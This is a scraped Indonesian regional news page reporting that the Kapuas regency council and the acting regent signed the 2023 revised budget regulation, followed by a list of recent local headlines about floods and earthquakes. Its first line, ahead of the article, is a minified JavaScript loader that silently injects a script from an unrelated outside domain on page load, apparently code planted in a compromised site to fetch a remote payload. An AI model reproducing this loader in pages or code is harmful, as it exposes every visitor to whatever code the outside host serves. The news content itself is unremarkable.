(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPRD Kapuas dan Eksekutif Teken Perda Perubahan APBD 2023


KANALKALIMANTAN.COM, KUALA KAPUAS – Raperda Perubahan APBD Kabupaten Kapuas tahun anggaran 2023 yang telah disepakati akhirnya disahkan menjadi Perda dan ditandatangani bersama unsur pimpinan DPRD dan Pj Bupati Kapuas, Rabu (27/9/2023) malam.

Penandatanganan tersebut dilaksanakan pada Rapat Paripurna ke-5 masa persidangan I tahun sidang 2023/2024 di ruang rapat paripurna DPRD Kabupaten Kapuas.

Penandatanganan ini dilakukan setelah Fraksi-Fraksi di DPRD Kapuas melalui penyampaian pemandangan umum menyetujui Perda Perubahan APBD Kabupaten Kapuas tahun anggaran 2023.

Rapat dipimpin Ketua DPRD Kapuas, Ardiansah didampingi Wakil Ketua I Yohanes, Wakil Ketua II Evan Rahman Sahputra dan diikuti anggota dewan lainnya serta Forkopimda.

Baca juga : Kualitas Udara Banjarmasin Level Kuning Tidak Sehat, Pasien ISPA Capai 5.896 Kasus

Dari eksekutif rapat dihadiri Pj Bupati Kapuas Erlin Hardi, Sekda Kapuas Septedy dan para kepala OPD lingkup Pemkab Kapuas.

Wakil Ketua DPRD Kapuas Yohanes membacakan laporan hasil pembahasan anggaran Banggar DPRD Kapuas atas Perda tentang Perubahan APBD Kabupaten Kapuas tahun 2023.

Selanjutnya penyampaian pendapat akhir Fraksi-Fraksi pendukung dewan atas Perda tentang Perubahan APBD Kabupaten Kapuas tahun 2023.

“Fraksi-Fraksi di DPRD Kapuas telah menyetujui Perda tentang Perubahan APBD Kabupaten Kapuas tahun 2023 selanjutnya diberi Nomor 36 tahun 2023,” kata Ketua DPRD Kapuas.Ardiansah.

Baca juga: Peringatan Maulid Nabi di Majelis Guru Rasyid Ridha Gambut

Sebelumnya, Sekretaris DPRD Kapuas Pery Noah membacakan susunan acara rapat paripurna tersebut.

“Rapat paripurna ke-5 masa persidangan I tahun sidang 2023/2024 dengan agenda sebagai berkut, pertama penyampaian laporan hasil pembahasan anggaran Banggar DPRD Kapuas atas Perda tentang Perubahan APBD Kabupaten Kapuas tahun 2023,” kata Pery Noah.

“Agenda selanjutnya penandatangan kesepakatan dan persetujuan atas Perda tentang Perubahan APBD Kabupaten Kapuas tahun 2023,” katanya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

8 menit ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

7 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

7 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

10 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

11 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

12 jam ago

This website uses cookies.